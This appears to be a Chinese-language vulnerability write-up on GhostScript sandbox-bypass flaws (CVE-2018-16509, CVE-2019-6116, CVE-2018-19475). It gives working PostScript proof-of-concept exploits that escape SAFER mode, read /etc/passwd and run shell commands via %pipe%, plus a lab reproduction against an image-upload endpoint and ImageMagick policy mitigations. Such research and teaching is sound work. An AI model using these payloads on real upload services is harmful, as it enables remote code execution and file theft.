CVE-2018-16509 GhostScript 沙箱绕过(命令执行)漏洞
GhostScript:
Ghostscript 是一套基于 Adobe、PostScript 及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。
Ghostscript 可以查看及打印 PS、EPS、PDF 文件,支持 PS 的绘图程序一般都很大
以Postscript和PDF阅览器使用的栅格化影像处理器RIP引擎,GhostScript 被许多图片处理库所使用。
在文件上传过程中,有可能会用GhostScript来处理图片。所以在上传图片点可以试一下它是否存在这个漏洞
影响范围:
Ghostscript 9.24之前版本
漏洞成因:
在处理/invalidaccess异常时,程序没有正确的检测‘restoration of privilege(权限恢复)’。攻击者可通过提交特制的PostScript利用该漏洞执行代码。
POC
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
漏洞复现
-
进入vulhub漏洞靶场(GhostScript/CVE-2018-16509),开启环境(略)
-
访问环境http://192.168.159.136/8080将可以看到一个上传点。
-
上传poc.png,将执行命令id > /tmp/success && cat /tmp/success
(将id这个命令写入到success这个文件中,并且查看这个文件)
-
点击上传按钮,发现命令已被执行并且显示出来
-
进入容器的文件夹中发现success文件已被创建成功
修复方案
漏洞信息可以参考imagemaick的ghost script RCE漏洞
目前最全的修复方案参考https://www.kb.cert.org/vuls/id/332928
编辑ImageMagick的policy文件,默认路径为/etc/ImageMagick/policy.xml
在
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="PS2" />
<policy domain="coder" rights="none" pattern="PS3" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
参考文章
https://blog.csdn.net/hrayha/article/details/82017493
其他两个版本的poc也发一下,利用参数不同。但操作过程是一样的
CVE-2019-6116
%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
/exploit {
(Stage 11: Exploitation...)=
/forceput exch def
systemdict /SAFER false forceput
userparams /LockFilePermissions false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
% update
save restore
% All done.
stop
} def
errordict /typecheck {
/typecount typecount 1 add def
(Stage 10: /typecheck #)=only typecount ==
% The first error will be the .knownget, which we handle and setup the
% stack. The second error will be the ifelse (missing boolean), and then we
% dump the operands.
typecount 1 eq { null } if
typecount 2 eq { pop 7 get exploit } if
typecount 3 eq { (unexpected)= quit } if
} put
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
/typecount 0
/PDFfile { (Stage 0: PDFfile)= currentfile }
/q { (Stage 1: q)= } % no-op
/oget { (Stage 3: oget)= pop pop 0 } % clear stack
/pdfemptycount { (Stage 4: pdfemptycount)= } % no-op
/gput { (Stage 5: gput)= } % no-op
/resolvestream { (Stage 6: resolvestream)= } % no-op
/pdfopdict { (Stage 7: pdfopdict)= } % no-op
/.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
/pdfdict { (Stage 9: pdfdict)=
% cause a /typecheck error we handle above
true
}
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
(Attempting to execute a shell command...)= flush
% run command
(%pipe%id > /tmp/success) (w) file closefile
(All done.)=
quit
CVE-2018-19475
%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file